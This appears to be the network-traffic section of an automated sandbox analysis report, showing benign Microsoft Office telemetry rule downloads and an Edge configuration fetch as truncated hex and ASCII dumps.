2024-10-30 17:06:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: fcb0891e-801e-007b-6669-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170633Z-r1755647c66mmrln9nsykf75u8000000079g0000000098s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49740	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:33 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: f66eff46-601e-0084-3c9d-276b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170633Z-17fbfdc98bbz4mxcabnudsmquw00000007dg000000001pxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49741	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:33 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:33 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9985b9b7-a01e-0021-5827-28814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170633Z-r1755647c66mrgwz6d897uymaw0000000280000000003wmx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49742	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:33 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:33 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170633Z-r1755647c66kcsqh9hy6eyp6kw00000006pg000000000s3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:33 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49745	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:34 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 898be286-601e-003d-2804-276f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170635Z-r1755647c66p58nm9wqx75pnms00000007ng00000000022k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49748	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:35 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bb58e6ef-e01e-000c-4187-288e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170635Z-r1755647c66xdwzbrg67s9avs400000008pg00000000a416 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49746	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:35 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 77b1f39f-101e-0079-106b-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170635Z-r1755647c66p58nm9wqx75pnms00000007ng00000000022t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49749	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:35 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170635Z-17fbfdc98bbsw6nnfh43fuwvyn00000006bg000000008qgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49747	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:35 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:35 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:35 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 214ea441-b01e-00ab-0e9b-27dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170635Z-17fbfdc98bbt5dtr27n1qp1eqc00000008k00000000033ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:35 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49757	52.123.243.94	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:36 UTC	746	OUT	GET /config/v1/Edge/117.0.2045.47?clientId=6686581979505309747&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=6&mngd=0&installdate=1696426482&edu=0&bphint=2&soobedate=1696426478&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
2024-10-30 17:06:36 UTC	1177	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 58570 Content-Type: application/json Expires: Wed, 30 Oct 2024 18:06:36 GMT ETag: "hRArSBFhA3cYOMLqwD6ZD35lR9NDkmh2Wcr3spmWID8=" Server: Microsoft-IIS/10.0 request-id: 7c817ce4-cb4e-0b11-dd91-e8e28ae47610 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-SIP-FR0&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: 7c817ce4-cb4e-0b11-dd91-e8e28ae47610 FR0P281CA0134 2024-10-30T17:06:36.450Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: HHN X-FEProxyInfo: FR0P281CA0134.DEUP281.PROD.OUTLOOK.COM X-FEEFZInfo: HHN X-Powered-By: ASP.NET X-FEServer: FR0P281CA0134 Date: Wed, 30 Oct 2024 17:06:35 GMT Connection: close
2024-10-30 17:06:36 UTC	2496	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 45 64 67 65 53 68 6f 70 70 69 6e 67 44 69 73 61 62 6c 65 41 62 61 6e 64 6f 6e 65 64 43 61 72 74 22 3a 7b 22 64 69 73 Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeShoppingDisableAbandonedCart":{"dis
2024-10-30 17:06:36 UTC	13198	IN	Data Raw: 30 22 7d 5d 7d 2c 22 52 6f 6c 6c 6f 75 74 50 72 65 63 6f 6e 6e 65 63 74 54 6f 53 65 61 72 63 68 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 4e 61 76 69 67 61 74 69 6f 6e 50 72 65 64 69 63 74 6f 72 50 72 65 63 6f 6e 6e 65 63 74 48 6f 6c 64 62 61 63 6b 22 5d 7d 2c 22 41 64 73 50 6c 61 74 66 6f 72 6d 58 45 64 67 65 65 78 70 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 41 64 50 6c 61 74 66 6f 72 6d 55 49 22 2c 22 6d 73 45 64 67 65 41 64 50 6c 61 74 66 6f 72 6d 42 69 6e 67 50 61 74 68 73 56 33 22 2c 22 6d 73 45 64 67 65 41 64 50 6c 61 74 66 6f 72 6d 50 72 6f 74 6f 62 75 66 4d 69 67 72 61 74 69 6f 6e 22 2c 22 6d 73 45 64 67 65 41 64 50 6c 61 74 66 6f 72 6d 55 73 65 49 64 65 6e 74 69 74 79 22 5d 7d Data Ascii: 0"}]},"RolloutPreconnectToSearch":{"disableFeatures":["NavigationPredictorPreconnectHoldback"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]}
2024-10-30 17:06:36 UTC	16384	IN	Data Raw: 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 72 65 64 64 69 74 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 74 65 6c 65 67 72 61 70 68 69 6e 64 69 61 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 74 69 6d 65 73 6f 66 69 6e 64 69 61 2e 69 6e 64 69 61 74 69 6d 65 73 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 70 75 73 68 65 6e 67 61 67 65 2e 63 6f 6d 22 7d 2c 7b 22 61 Data Ascii: applications":[{"applied_policy":"Prompt","domain":"www.reddit.com"},{"applied_policy":"Prompt","domain":"www.telegraphindia.com"},{"applied_policy":"Prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"Prompt","domain":"pushengage.com"},{"a
